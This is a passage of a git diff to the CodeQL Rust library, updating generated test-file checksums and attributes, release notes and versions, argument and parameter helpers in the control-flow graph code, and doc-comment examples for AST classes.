1ace458070875b9ff2c671c2ee18392ea7bf6e51b68ee98d412c8606e8eb8d33 4c35da8255d2975cef4adee15623662441bb8f2e1d73582e4c193d1bc11cc1b5 test/extractor-tests/generated/CallExpr/CallExpr_getFunction.ql 060a6c8b5b85c839b14fe96f9e50291a7a0e5662a945f4f337070f782ec76715 e9a1e44433936146d87be939aa160848b9a7d7333c36da601fb7d1a66d71eb59 @@ -728,10 +740,11 @@ test/extractor-tests/generated/CastExpr/CastExpr_getExpr.ql c37186b8f3e3dab8ae28 test/extractor-tests/generated/CastExpr/CastExpr_getTypeRepr.ql ab6b0a61adc404c89c0e2e1962236a8e703fdc5092512bb4a5d9995af8e13c7b 4e7f6b6f58a1ef34ed45e31e35154dd8dc59054ebedcaa87200c84cc727ef1dd test/extractor-tests/generated/ClosureBinder/ClosureBinder.ql 42516df87ac28c814d65f6739b2ede6eaa41c505d64756a3b8c7e0ca79895230 8b840f92ec033a4ef5edbe52bed909d8be0fffddf6d3e4bfaf9a8bc174fa2f2c test/extractor-tests/generated/ClosureBinder/ClosureBinder_getGenericParamList.ql 71010c43a78a7abe8e63c94353f4b7eb97aca011755d200e7087467c1e3b7a68 2c834328f783ec5032544a692f7e23975bac0228b52b9f8fde46ef46a5f22a5f -test/extractor-tests/generated/ClosureExpr/ClosureExpr.ql f25f9b32e5c0cd61e4b75053a5af4640a08b115ea5a4310ab95df450f6dfe1c4 9b731218857fa16776e29bce084c2ec1526b24e15f46d4f24047917d77d4646a +test/extractor-tests/generated/ClosureExpr/ClosureExpr.ql 4d5f40935d07b0b24d77b93f56e9cea47666c5a3de84744641f9a4cb5d8d1319 b9a235c0a2d6a254d15f1fd1d0c8fdb6a7af51487b3826f26d8ca7a3b6cbc9b2 test/extractor-tests/generated/ClosureExpr/ClosureExpr_getAttr.ql f7f803afa4e2a5976c911fdf8a91ec607c2f998e22531b9c69a63d85579e34c3 1296acd0fb97e1484aa3f1d5ba09d18088001186f3ba5821eb3218a931ca0d54 test/extractor-tests/generated/ClosureExpr/ClosureExpr_getBody.ql 22a973a61274e87620e38338b29beef395818b95a88e2261fff197f7a78a8f76 bd28ed426e4d07823044db869aa8022dc81e8599d156e3e0e7cd49be914a1f36 test/extractor-tests/generated/ClosureExpr/ClosureExpr_getClosureBinder.ql cbfcf89b8efb5cb9b7bfbea26b5a78b3d4c7994cbf03d5ca60b61ee1b5cb4be5 621431277732ef79c585cb0b7199c49b14c597ee6b594a70d9e6966a09d40a9f +test/extractor-tests/generated/ClosureExpr/ClosureExpr_getParam.ql c87b61e80dd62e031e8b310d8a4b781a468ecf2e5e81662be400f18bf33c5862 22abbc976a0e6f33c32c0e93cd0dd567cead13d82d561b9214275ea01b4a0573 test/extractor-tests/generated/ClosureExpr/ClosureExpr_getParamList.ql 68ce501516094512dd5bfed42a785474583a91312f704087cba801b02ba7b834 eacbf89d63159e7decfd84c2a1dc5c067dfce56a8157fbb52bc133e9702d266d test/extractor-tests/generated/ClosureExpr/ClosureExpr_getRetType.ql c95bc7306b2d77aa05a6501b6321e6f1e7a48b7ad422ba082635ab20014288ae fe72d44c9819b42fff49b9092a9fb2bfafde6d3b9e4967547fb5298822f30bc3 test/extractor-tests/generated/Comment/Comment.ql 5428b8417a737f88f0d55d87de45c4693d81f03686f03da11dc5369e163d977b 8948c1860cde198d49cff7c74741f554a9e89f8af97bb94de80f3c62e1e29244 @@ -821,7 +834,7 @@ test/extractor-tests/generated/FormatArgsExpr/FormatTemplateVariableAccess.ql 27 test/extractor-tests/generated/FormatArgsExpr/Format_getArgumentRef.ql 634efdffaae4199aa9d95652cf081a8dc26e88224e24678845f8a67dc24ce090 d0302fee5c50403214771d5c6b896ba7c6e52be10c9bea59720ef2bb954e6f40 test/extractor-tests/generated/FormatArgsExpr/Format_getPrecisionArgument.ql 0d2140f84d0220b0c72c48c6bd272f4cfe1863d1797eddd16a6e238552a61e4d f4fe9b29697041e30764fa3dea44f125546bfb648f32c3474a1e922a4255c534 test/extractor-tests/generated/FormatArgsExpr/Format_getWidthArgument.ql 01ef27dd0bfab273e1ddc57ada0e079ece8a2bfd195ce413261006964b444093 acd0161f86010759417015c5b58044467a7f760f288ec4e8525458c54ae9a715 -test/extractor-tests/generated/Function/Function.ql 5be2478587433f79843b31ccd92e6982736e69736fa1c5ebc6e774ffcc0095ef 28a9091365c9e446e663525109c6d7d2442bba8294956d8c99c3928b32b0beea +test/extractor-tests/generated/Function/Function.ql 66e6a81a80cdf30652f00fae1b060e93b9d7c61b08cb3d3c1cac16cad445e769 97ace9f51b9ae933c79484b06b92355164ff3582cadfc6e3bac5c00072cdeff3 test/extractor-tests/generated/Function/Function_getAbi.ql e5c9c97de036ddd51cae5d99d41847c35c6b2eabbbd145f4467cb501edc606d8 0b81511528bd0ef9e63b19edfc3cb638d8af43eb87d018fad69d6ef8f8221454 test/extractor-tests/generated/Function/Function_getAttr.ql 44067ee11bdec8e91774ff10de0704a8c5c1b60816d587378e86bf3d82e1f660 b4bebf9441bda1f2d1e34e9261e07a7468cbabf53cf8047384f3c8b11869f04e test/extractor-tests/generated/Function/Function_getAttributeMacroExpansion.ql 17a346a9e5d28af99522520d1af3852db4cae01fb3d290a65c5f84d8d039c345 36fb06b55370828d9bc379cf5fad7f383cdb6f6db6f7377660276943ab0e1ec8 @@ -830,6 +843,7 @@ test/extractor-tests/generated/Function/Function_getCrateOrigin.ql acec761c56b38 test/extractor-tests/generated/Function/Function_getExtendedCanonicalPath.ql 0bcdca25bb92424007cea950409d73ba681e3ffbea53e0508f1d630fccfa8bed ff28c3349f5fc007d5f144e549579bd04870973c0fabef4198edce0fba0ef421 test/extractor-tests/generated/Function/Function_getGenericParamList.ql 0b255791c153b7cb03a64f1b9ab5beccc832984251f37516e1d06ce311e71c2b d200f90d4dd6f8dfd22ce49203423715d5bef27436c56ee553097c668e71c5a1 test/extractor-tests/generated/Function/Function_getName.ql 3d9e0518075d161213485389efe0adf8a9e6352dd1c6233ef0403a9abbcc7ed1 841e644ecefff7e9a82f458bcf14d9976d6a6dbe9191755ead88374d7c086375 +test/extractor-tests/generated/Function/Function_getParam.ql ef0b46453512fef08fbcc2a15bc14ae319bbc4810a4e4ce03a5ca3b1e8859ca7 ce36d3974059c1cd63eb1d6b76111985087f40dd4fe0c716a00aa9a178c712c4 test/extractor-tests/generated/Function/Function_getParamList.ql f888802ab00defb58de59cc39d1e0518e3884db7eaf845f39dfa55befdda58b2 ba0d1a07676f1c987b820a3d126a563ecf9a3d53ac1115b87a5af487a8a03c3e test/extractor-tests/generated/Function/Function_getRetType.ql b3a1ab90c8ebf0543e5db6a415896e44a02f984321f49bc409aec2657298942b cdfa37772e5026febb19c9bcd0d325688b0fbf2f6e7bba424b73eca38b9b3e38 test/extractor-tests/generated/Function/Function_getVisibility.ql 490b0a369c809a757d4835b97becf617b0399f16a63a2b06258c9a227d5cc415 25ceff15d3cd03821e1cb2c04cb8894bcd101eeca62b66b54d1751b628107818 @@ -953,7 +967,8 @@ test/extractor-tests/generated/Meta/Meta.ql 16f163f00ba2bbaa0a8c6f3f6710c860a8f6 test/extractor-tests/generated/Meta/Meta_getExpr.ql ec9ec61f5be7d65c32775fb5c068daea04f9db7d875293ed99cc1b2481db041f 77a0c52f1cb6ddc8fdb294d637f9eda1b7301ffa3067f0fca6272d894f57d3ee test/extractor-tests/generated/Meta/Meta_getPath.ql aa9d4145a4e613c51b6e4637d57e3b7d0f66e0bb88f4ce959d598870814c06bb 2087e00686d502c0e2e89c88eae0fb354463576a9ae4101320981d3fd79b9078 test/extractor-tests/generated/Meta/Meta_getTokenTree.ql 1051c27ffd0d9a20436d684fde529b9ff55abe30d50e1d575b0318951e75bd34 983975672d928fb907676628384c949731da9807bf0c781bb7ec749d25733d2d -test/extractor-tests/generated/MethodCallExpr/MethodCallExpr.ql d141f5a2ef95019aa64e8cb384ab4a45e7a93c941b84ef2e14c13377f159e4db 47a68fc874af6cc9a4b278a5aab1633a9db17300fd7dbd6dbe193d48d99144bc +test/extractor-tests/generated/MethodCallExpr/MethodCallExpr.ql 85d3b8c794167f87840469e03d21aa00daf0998c28028f1c8848c7c4bd895db4 fa368ce4543c2544ecd2e636ade8d92849741226599290f59e0138a4a479357c +test/extractor-tests/generated/MethodCallExpr/MethodCallExpr_getArg.ql 10a88c3bf63dfb26f43b9cd1ed7fceef0f436ce2eff4b5a816da369bf5b775d2 ee3b5043719591b4048ec32e21bb5fb3a9f83f0420ef18c338fc0ac28d0e3240 test/extractor-tests/generated/MethodCallExpr/MethodCallExpr_getArgList.ql 180e0b1715f5cd2be0de01bff3d3a45594b495b8250748d40ff7108d6c85923d bdadcdbecca5891287a47b6dd6b2fda62e07457718aef39212503ab63bc17783 test/extractor-tests/generated/MethodCallExpr/MethodCallExpr_getAttr.ql 2ce876a04a159efce83b863dffc47fbb714b95daea2b91fa6fbb623d28eed9ec 7bca1cd0e8fbceec0e640afb6800e1780eff5b5b402e71b9b169c0ba26966f96 test/extractor-tests/generated/MethodCallExpr/MethodCallExpr_getGenericArgList.ql 655db9a0501b1ef20d604cc4cd9d708371781291443e8dec97b70ec2914601d2 2fc7df0eca22dcef2f9f5c86d37ee43452d372a4c0f9f4da0194828c82ba93e0 @@ -994,7 +1009,8 @@ test/extractor-tests/generated/ParenPat/ParenPat.ql 565182ccd81a9b420911b488c083 test/extractor-tests/generated/ParenPat/ParenPat_getPat.ql 96f3db0ec4e71fd8706192a16729203448ccc7b0a12ba0abeb0c20757b64fba1 0c66ba801869dc6d48dc0b2bca146757b868e8a88ad9429ba340837750f3a902 test/extractor-tests/generated/ParenTypeRepr/ParenTypeRepr.ql a96bb8b51d8c0c466afc1c076834fa16edf7e67fffe2f641799850dee43099a2 0e6c375e621b7a7756d39e8edd78b671e53d1aac757ac54a26747fe5259c5394 test/extractor-tests/generated/ParenTypeRepr/ParenTypeRepr_getTypeRepr.ql 64fe4ea708bc489ba64ed845f63cfbcd57c1179c57d95be309db37eac2f5eb71 0f4cbbfdf39d89830b5249cabf26d834fc2310b8a9579c19383c90cb4333afb7 -test/extractor-tests/generated/ParenthesizedArgList/MISSING_SOURCE.txt b6cf5771fdbbe981aeb3f443ec7a40517b6e99ffc9817fd8872c2e344240dae1 b6cf5771fdbbe981aeb3f443ec7a40517b6e99ffc9817fd8872c2e344240dae1 +test/extractor-tests/generated/ParenthesizedArgList/ParenthesizedArgList.ql 6d3496449d40e7ea083530de4e407731641c6a1ba23346c6a11b8b844b067995 9d21019a49d856728c8c8b73bcf982076794d8c8c9e2f30e75a9aa31348f5c60 +test/extractor-tests/generated/ParenthesizedArgList/ParenthesizedArgList_getTypeArg.ql 256164a0909def95501022cfbb786026c08c9ef50ff8da9e851a7ca8b1aaeb1f 8bfac08d3261f2c4b84fa3da46722f9c7ca866a6b964b5f1b8f78b81c97ae3f7 test/extractor-tests/generated/Path/Path.ql 2b02325ab1739bf41bc5f50d56b1e9cc72fca4093b03f2bda193699121e64448 c4d44402696ce10175ad8286dbd78277fbb81e7e1b886c0c27d5b88a7509052e test/extractor-tests/generated/Path/PathExpr.ql 5039fe730998a561f51813a0716e18c7c1d36b6da89936e4cfbdb4ef0e895560 cd3ddf8ab93cd573381807f59cded7fb3206f1dbdff582490be6f23bed2d6f29 test/extractor-tests/generated/Path/PathExpr_getAttr.ql 2ccac48cd91d86670c1d2742de20344135d424e6f0e3dafcc059555046f92d92 9b7b5f5f9e3674fad9b3a5bcd3cabc0dff32a95640da0fce6f4d0eb931f1757d @@ -1207,7 +1223,8 @@ test/extractor-tests/generated/Use/Use_getCrateOrigin.ql 912ebc1089aa3390d4142a3 test/extractor-tests/generated/Use/Use_getExtendedCanonicalPath.ql ccfde95c861cf4199e688b6efeeee9dab58a27cfecd520e39cc20f89143c03c9 6ff93df4134667d7cb74ae7efe102fe2db3ad4c67b4b5a0f8955f21997806f16 test/extractor-tests/generated/Use/Use_getUseTree.ql 1dfe6bb40b29fbf823d67fecfc36ba928b43f17c38227b8eedf19fa252edf3af aacdcc4cf418ef1eec267287d2af905fe73f5bcfb080ef5373d08da31c608720 test/extractor-tests/generated/Use/Use_getVisibility.ql 587f80acdd780042c48aeb347004be5e9fd9df063d263e6e4f2b660c48c53a8f 0c2c04f95838bca93dfe93fa208e1df7677797efc62b4e8052a4f9c5d20831dd -test/extractor-tests/generated/UseBoundGenericArgs/MISSING_SOURCE.txt b6cf5771fdbbe981aeb3f443ec7a40517b6e99ffc9817fd8872c2e344240dae1 b6cf5771fdbbe981aeb3f443ec7a40517b6e99ffc9817fd8872c2e344240dae1 +test/extractor-tests/generated/UseBoundGenericArgs/UseBoundGenericArgs.ql ed7f240c960c888127298fac6b595477bc1481bdd1ed9a79124c6e6d8badc059 f30f69400600d52f10b1c54af0d00c0e617f5348cb0f5e235c93ef8e45c723a4 +test/extractor-tests/generated/UseBoundGenericArgs/UseBoundGenericArgs_getUseBoundGenericArg.ql 971d94960a8cfcadf209202bb8d95d32da9b048ad6df9c520af1bf8e23acd1dc f6d6836592652cc63292aeb75d2349f4bed640047b130b79470703b8d1cd563d test/extractor-tests/generated/UseTree/UseTree.ql e305edd22df9e018a58f932774447354b7fcf0ba871b52b35f0ee9cd4f6dacdf 766a84116aa8ff3d90343c6730bcb161ff1d447bdb049cd21d6b2bbf3cb9032c test/extractor-tests/generated/UseTree/UseTree_getPath.ql 80384a99674bdda85315a36681cb22ad2ad094005a5543b63d930fc7e030dd5b 2cd92b5de8b4214527f8a58d641430f6804d9bd40927e1da0c7efda2f86f6544 test/extractor-tests/generated/UseTree/UseTree_getRename.ql ec3917501f3c89ac4974fab3f812d00b159ae6f2402dd20e5b4b3f8e8426391d db9ed981ce5f822aee349e5841d3126af7878d90e64140756ab4519552defe72 diff --git a/rust/ql/.gitattributes b/rust/ql/.gitattributes index e937789f907..65c3aae0e9e 100644 --- a/rust/ql/.gitattributes +++ b/rust/ql/.gitattributes @@ -242,7 +242,6 @@ /lib/codeql/rust/elements/internal/BoxPatConstructor.qll linguist-generated /lib/codeql/rust/elements/internal/BreakExprConstructor.qll linguist-generated /lib/codeql/rust/elements/internal/CallExprConstructor.qll linguist-generated -/lib/codeql/rust/elements/internal/CallableImpl.qll linguist-generated /lib/codeql/rust/elements/internal/CastExprConstructor.qll linguist-generated /lib/codeql/rust/elements/internal/ClosureBinderConstructor.qll linguist-generated /lib/codeql/rust/elements/internal/ClosureBinderImpl.qll linguist-generated @@ -673,21 +672,33 @@ /test/extractor-tests/generated/ArrayTypeRepr/ArrayTypeRepr.ql linguist-generated /test/extractor-tests/generated/ArrayTypeRepr/ArrayTypeRepr_getConstArg.ql linguist-generated /test/extractor-tests/generated/ArrayTypeRepr/ArrayTypeRepr_getElementTypeRepr.ql linguist-generated -/test/extractor-tests/generated/AsmClobberAbi/MISSING_SOURCE.txt linguist-generated -/test/extractor-tests/generated/AsmConst/MISSING_SOURCE.txt linguist-generated -/test/extractor-tests/generated/AsmDirSpec/MISSING_SOURCE.txt linguist-generated +/test/extractor-tests/generated/AsmClobberAbi/AsmClobberAbi.ql linguist-generated +/test/extractor-tests/generated/AsmConst/AsmConst.ql linguist-generated +/test/extractor-tests/generated/AsmConst/AsmConst_getExpr.ql linguist-generated +/test/extractor-tests/generated/AsmDirSpec/AsmDirSpec.ql linguist-generated /test/extractor-tests/generated/AsmExpr/AsmExpr.ql linguist-generated /test/extractor-tests/generated/AsmExpr/AsmExpr_getAsmPiece.ql linguist-generated /test/extractor-tests/generated/AsmExpr/AsmExpr_getAttr.ql linguist-generated /test/extractor-tests/generated/AsmExpr/AsmExpr_getTemplate.ql linguist-generated -/test/extractor-tests/generated/AsmLabel/MISSING_SOURCE.txt linguist-generated -/test/extractor-tests/generated/AsmOperandExpr/MISSING_SOURCE.txt linguist-generated -/test/extractor-tests/generated/AsmOperandNamed/MISSING_SOURCE.txt linguist-generated -/test/extractor-tests/generated/AsmOption/MISSING_SOURCE.txt linguist-generated -/test/extractor-tests/generated/AsmOptionsList/MISSING_SOURCE.txt linguist-generated -/test/extractor-tests/generated/AsmRegOperand/MISSING_SOURCE.txt linguist-generated -/test/extractor-tests/generated/AsmRegSpec/MISSING_SOURCE.txt linguist-generated -/test/extractor-tests/generated/AsmSym/MISSING_SOURCE.txt linguist-generated +/test/extractor-tests/generated/AsmLabel/AsmLabel.ql linguist-generated +/test/extractor-tests/generated/AsmLabel/AsmLabel_getBlockExpr.ql linguist-generated +/test/extractor-tests/generated/AsmOperandExpr/AsmOperandExpr.ql linguist-generated +/test/extractor-tests/generated/AsmOperandExpr/AsmOperandExpr_getInExpr.ql linguist-generated +/test/extractor-tests/generated/AsmOperandExpr/AsmOperandExpr_getOutExpr.ql linguist-generated +/test/extractor-tests/generated/AsmOperandNamed/AsmOperandNamed.ql linguist-generated +/test/extractor-tests/generated/AsmOperandNamed/AsmOperandNamed_getAsmOperand.ql linguist-generated +/test/extractor-tests/generated/AsmOperandNamed/AsmOperandNamed_getName.ql linguist-generated +/test/extractor-tests/generated/AsmOption/AsmOption.ql linguist-generated +/test/extractor-tests/generated/AsmOptionsList/AsmOptionsList.ql linguist-generated +/test/extractor-tests/generated/AsmOptionsList/AsmOptionsList_getAsmOption.ql linguist-generated +/test/extractor-tests/generated/AsmRegOperand/AsmRegOperand.ql linguist-generated +/test/extractor-tests/generated/AsmRegOperand/AsmRegOperand_getAsmDirSpec.ql linguist-generated +/test/extractor-tests/generated/AsmRegOperand/AsmRegOperand_getAsmOperandExpr.ql linguist-generated +/test/extractor-tests/generated/AsmRegOperand/AsmRegOperand_getAsmRegSpec.ql linguist-generated +/test/extractor-tests/generated/AsmRegSpec/AsmRegSpec.ql linguist-generated +/test/extractor-tests/generated/AsmRegSpec/AsmRegSpec_getIdentifier.ql linguist-generated +/test/extractor-tests/generated/AsmSym/AsmSym.ql linguist-generated +/test/extractor-tests/generated/AsmSym/AsmSym_getPath.ql linguist-generated /test/extractor-tests/generated/AssocTypeArg/AssocTypeArg.ql linguist-generated /test/extractor-tests/generated/AssocTypeArg/AssocTypeArg_getConstArg.ql linguist-generated /test/extractor-tests/generated/AssocTypeArg/AssocTypeArg_getGenericArgList.ql linguist-generated @@ -721,6 +732,7 @@ /test/extractor-tests/generated/BreakExpr/BreakExpr_getExpr.ql linguist-generated /test/extractor-tests/generated/BreakExpr/BreakExpr_getLifetime.ql linguist-generated /test/extractor-tests/generated/CallExpr/CallExpr.ql linguist-generated +/test/extractor-tests/generated/CallExpr/CallExpr_getArg.ql linguist-generated /test/extractor-tests/generated/CallExpr/CallExpr_getArgList.ql linguist-generated /test/extractor-tests/generated/CallExpr/CallExpr_getAttr.ql linguist-generated /test/extractor-tests/generated/CallExpr/CallExpr_getFunction.ql linguist-generated @@ -734,6 +746,7 @@ /test/extractor-tests/generated/ClosureExpr/ClosureExpr_getAttr.ql linguist-generated /test/extractor-tests/generated/ClosureExpr/ClosureExpr_getBody.ql linguist-generated /test/extractor-tests/generated/ClosureExpr/ClosureExpr_getClosureBinder.ql linguist-generated +/test/extractor-tests/generated/ClosureExpr/ClosureExpr_getParam.ql linguist-generated /test/extractor-tests/generated/ClosureExpr/ClosureExpr_getParamList.ql linguist-generated /test/extractor-tests/generated/ClosureExpr/ClosureExpr_getRetType.ql linguist-generated /test/extractor-tests/generated/Comment/Comment.ql linguist-generated @@ -832,6 +845,7 @@ /test/extractor-tests/generated/Function/Function_getExtendedCanonicalPath.ql linguist-generated /test/extractor-tests/generated/Function/Function_getGenericParamList.ql linguist-generated /test/extractor-tests/generated/Function/Function_getName.ql linguist-generated +/test/extractor-tests/generated/Function/Function_getParam.ql linguist-generated /test/extractor-tests/generated/Function/Function_getParamList.ql linguist-generated /test/extractor-tests/generated/Function/Function_getRetType.ql linguist-generated /test/extractor-tests/generated/Function/Function_getVisibility.ql linguist-generated @@ -956,6 +970,7 @@ /test/extractor-tests/generated/Meta/Meta_getPath.ql linguist-generated /test/extractor-tests/generated/Meta/Meta_getTokenTree.ql linguist-generated /test/extractor-tests/generated/MethodCallExpr/MethodCallExpr.ql linguist-generated +/test/extractor-tests/generated/MethodCallExpr/MethodCallExpr_getArg.ql linguist-generated /test/extractor-tests/generated/MethodCallExpr/MethodCallExpr_getArgList.ql linguist-generated /test/extractor-tests/generated/MethodCallExpr/MethodCallExpr_getAttr.ql linguist-generated /test/extractor-tests/generated/MethodCallExpr/MethodCallExpr_getGenericArgList.ql linguist-generated @@ -996,7 +1011,8 @@ /test/extractor-tests/generated/ParenPat/ParenPat_getPat.ql linguist-generated /test/extractor-tests/generated/ParenTypeRepr/ParenTypeRepr.ql linguist-generated /test/extractor-tests/generated/ParenTypeRepr/ParenTypeRepr_getTypeRepr.ql linguist-generated -/test/extractor-tests/generated/ParenthesizedArgList/MISSING_SOURCE.txt linguist-generated +/test/extractor-tests/generated/ParenthesizedArgList/ParenthesizedArgList.ql linguist-generated +/test/extractor-tests/generated/ParenthesizedArgList/ParenthesizedArgList_getTypeArg.ql linguist-generated /test/extractor-tests/generated/Path/Path.ql linguist-generated /test/extractor-tests/generated/Path/PathExpr.ql linguist-generated /test/extractor-tests/generated/Path/PathExpr_getAttr.ql linguist-generated @@ -1209,7 +1225,8 @@ /test/extractor-tests/generated/Use/Use_getExtendedCanonicalPath.ql linguist-generated /test/extractor-tests/generated/Use/Use_getUseTree.ql linguist-generated /test/extractor-tests/generated/Use/Use_getVisibility.ql linguist-generated -/test/extractor-tests/generated/UseBoundGenericArgs/MISSING_SOURCE.txt linguist-generated +/test/extractor-tests/generated/UseBoundGenericArgs/UseBoundGenericArgs.ql linguist-generated +/test/extractor-tests/generated/UseBoundGenericArgs/UseBoundGenericArgs_getUseBoundGenericArg.ql linguist-generated /test/extractor-tests/generated/UseTree/UseTree.ql linguist-generated /test/extractor-tests/generated/UseTree/UseTree_getPath.ql linguist-generated /test/extractor-tests/generated/UseTree/UseTree_getRename.ql linguist-generated diff --git a/rust/ql/lib/CHANGELOG.md b/rust/ql/lib/CHANGELOG.md index 3000a1098cc..85c29db05c1 100644 --- a/rust/ql/lib/CHANGELOG.md +++ b/rust/ql/lib/CHANGELOG.md @@ -1,3 +1,11 @@ +## 0.1.10 + +No user-facing changes. + +## 0.1.9 + +No user-facing changes. + ## 0.1.8 No user-facing changes. diff --git a/rust/ql/lib/change-notes/released/0.1.10.md b/rust/ql/lib/change-notes/released/0.1.10.md new file mode 100644 index 00000000000..47358eeee93 --- /dev/null +++ b/rust/ql/lib/change-notes/released/0.1.10.md @@ -0,0 +1,3 @@ +## 0.1.10 + +No user-facing changes. diff --git a/rust/ql/lib/change-notes/released/0.1.9.md b/rust/ql/lib/change-notes/released/0.1.9.md new file mode 100644 index 00000000000..e93006d794f --- /dev/null +++ b/rust/ql/lib/change-notes/released/0.1.9.md @@ -0,0 +1,3 @@ +## 0.1.9 + +No user-facing changes. diff --git a/rust/ql/lib/codeql-pack.release.yml b/rust/ql/lib/codeql-pack.release.yml index 3136ea4a1cc..30f5ca88be0 100644 --- a/rust/ql/lib/codeql-pack.release.yml +++ b/rust/ql/lib/codeql-pack.release.yml @@ -1,2 +1,2 @@ --- -lastReleaseVersion: 0.1.8 +lastReleaseVersion: 0.1.10 diff --git a/rust/ql/lib/codeql/rust/controlflow/internal/CfgNodes.qll b/rust/ql/lib/codeql/rust/controlflow/internal/CfgNodes.qll index e3202888511..dc08c0d32a7 100644 --- a/rust/ql/lib/codeql/rust/controlflow/internal/CfgNodes.qll +++ b/rust/ql/lib/codeql/rust/controlflow/internal/CfgNodes.qll @@ -59,7 +59,7 @@ class BreakExprTargetChildMapping extends ParentAstNode, Expr { } class CallExprBaseChildMapping extends ParentAstNode, CallExprBase { - override predicate relevantChild(AstNode child) { child = this.getArgList().getAnArg() } + override predicate relevantChild(AstNode child) { child = this.getAnArg() } } class StructExprChildMapping extends ParentAstNode, StructExpr { diff --git a/rust/ql/lib/codeql/rust/controlflow/internal/ControlFlowGraphImpl.qll b/rust/ql/lib/codeql/rust/controlflow/internal/ControlFlowGraphImpl.qll index 601e0c90e40..58cb9f6a95f 100644 --- a/rust/ql/lib/codeql/rust/controlflow/internal/ControlFlowGraphImpl.qll +++ b/rust/ql/lib/codeql/rust/controlflow/internal/ControlFlowGraphImpl.qll @@ -87,7 +87,7 @@ class CallableScopeTree extends StandardTree, PreOrderTree, PostOrderTree, Scope i = 0 and result = this.getParamList().getSelfParam() or - result = this.getParamList().getParam(i - 1) + result = this.getParam(i - 1) or i = this.getParamList().getNumberOfParams() + 1 and result = this.getBody() @@ -143,6 +143,8 @@ class LetStmtTree extends PreOrderTree, LetStmt { } class MacroCallTree extends StandardPostOrderTree, MacroCall { + MacroCallTree() { not this.getParentNode() instanceof MacroPat } + override AstNode getChildNode(int i) { i = 0 and result = this.getMacroCallExpansion() } } @@ -541,7 +543,7 @@ module ExprTrees { class MethodCallExprTree extends StandardPostOrderTree, MethodCallExpr { override AstNode getChildNode(int i) { - if i = 0 then result = this.getReceiver() else result = this.getArgList().getArg(i - 1) + if i = 0 then result = this.getReceiver() else result = this.getArg(i - 1) } } diff --git a/rust/ql/lib/codeql/rust/controlflow/internal/generated/CfgNodes.qll b/rust/ql/lib/codeql/rust/controlflow/internal/generated/CfgNodes.qll index 55004ddc8f7..36dd0fb304f 100644 --- a/rust/ql/lib/codeql/rust/controlflow/internal/generated/CfgNodes.qll +++ b/rust/ql/lib/codeql/rust/controlflow/internal/generated/CfgNodes.qll @@ -198,7 +198,8 @@ module MakeCfgNodes Input> { * An inline assembly expression. For example: * ```rust * unsafe { - * builtin # asm(_); + * #[inline(always)] + * builtin # asm("cmp {0}, {1}", in(reg) a, in(reg) b); * } * ``` */ @@ -721,6 +722,21 @@ module MakeCfgNodes Input> { * Gets the number of attrs of this call expression base. */ int getNumberOfAttrs() { result = count(int i | exists(this.getAttr(i))) } + + /** + * Gets the `index`th argument of this call expression base (0-based). + */ + Expr getArg(int index) { result = node.getArg(index) } + + /** + * Gets any of the arguments of this call expression base. + */ + Expr getAnArg() { result = this.getArg(_) } + + /** + * Gets the number of arguments of this call expression base. + */ + int getNumberOfArgs() { result = count(int i | exists(this.getArg(i))) } } final private class ParentCastExpr extends ParentAstNode, CastExpr { @@ -968,9 +984,13 @@ module MakeCfgNodes Input> { } /** - * A ForExpr. For example: + * A for loop expression. + * + * For example: * ```rust - * todo!() + * for x in 0..10 { + * println!("{}", x); + * } * ``` */ final class ForExprCfgNode extends CfgNodeFinal, LoopingExprCfgNode { @@ -1823,9 +1843,11 @@ module MakeCfgNodes Input> { } /** - * A MacroCall. For example: + * A macro invocation. + * + * For example: * ```rust - * todo!() + * println!("Hello, world!"); * ``` */ final class MacroCallCfgNode extends CfgNodeFinal { @@ -1891,9 +1913,11 @@ module MakeCfgNodes Input> { } /** - * A MacroExpr. For example: + * A macro expression, representing the invocation of a macro that produces an expression. + * + * For example: * ```rust - * todo!() + * let y = vec![1, 2, 3]; * ``` */ final class MacroExprCfgNode extends CfgNodeFinal, ExprCfgNode { @@ -1926,9 +1950,20 @@ module MakeCfgNodes Input> { } /** - * A MacroPat. For example: + * A macro pattern, representing the invocation of a macro that produces a pattern. + * + * For example: * ```rust - * todo!() + * macro_rules! my_macro { + * () => { + * Ok(_) + * }; + * } + * match x { + * my_macro!() => "matched", + * // ^^^^^^^^^^^ + * _ => "not matched", + * } * ``` */ final class MacroPatCfgNode extends CfgNodeFinal, PatCfgNode { @@ -2082,9 +2117,12 @@ module MakeCfgNodes Input> { } /** - * A Name. For example: + * An identifier name. + * + * For example: * ```rust - * todo!() + * let foo = 1; + * // ^^^ * ``` */ final class NameCfgNode extends CfgNodeFinal { @@ -2696,9 +2734,12 @@ module MakeCfgNodes Input> { } /** - * A RestPat. For example: + * A rest pattern (`..`) in a tuple, slice, or struct pattern. + * + * For example: * ```rust - * todo!() + * let (a, .., z) = (1, 2, 3); + * // ^^ * ``` */ final class RestPatCfgNode extends CfgNodeFinal, PatCfgNode { @@ -2961,9 +3002,12 @@ module MakeCfgNodes Input> { } /** - * A TryExpr. For example: + * A try expression using the `?` operator. + * + * For example: * ```rust - * todo!() + * let x = foo()?; + * // ^ * ``` */ final class TryExprCfgNode extends CfgNodeFinal, ExprCfgNode { @@ -3186,9 +3230,13 @@ module MakeCfgNodes Input> { } /** - * A WhileExpr. For example: + * A while loop expression. + * + * For example: * ```rust - * todo!() + * while x < 10 { + * x += 1; + * } * ``` */ final class WhileExprCfgNode extends CfgNodeFinal, LoopingExprCfgNode { diff --git a/rust/ql/lib/codeql/rust/elements/Abi.qll b/rust/ql/lib/codeql/rust/elements/Abi.qll index f8c95ad23a4..129eca161df 100644 --- a/rust/ql/lib/codeql/rust/elements/Abi.qll +++ b/rust/ql/lib/codeql/rust/elements/Abi.qll @@ -7,9 +7,12 @@ private import internal.AbiImpl import codeql.rust.elements.AstNode /** - * A Abi. For example: + * An ABI specification for an extern function or block. + * + * For example: * ```rust - * todo!() + * extern "C" fn foo() {} + * // ^^^ * ``` */ final class Abi = Impl::Abi; diff --git a/rust/ql/lib/codeql/rust/elements/ArgList.qll b/rust/ql/lib/codeql/rust/elements/ArgList.qll index 1f62274e1b0..e2f7b1e0bfa 100644 --- a/rust/ql/lib/codeql/rust/elements/ArgList.qll +++ b/rust/ql/lib/codeql/rust/elements/ArgList.qll @@ -8,9 +8,12 @@ import codeql.rust.elements.AstNode import codeql.rust.elements.Expr /** - * A ArgList. For example: + * A list of arguments in a function or method call. + * + * For example: * ```rust - * todo!() + * foo(1, 2, 3); + * // ^^^^^^^^^ * ``` */ final class ArgList = Impl::ArgList; diff --git a/rust/ql/lib/codeql/rust/elements/ArrayTypeRepr.qll b/rust/ql/lib/codeql/rust/elements/ArrayTypeRepr.qll index 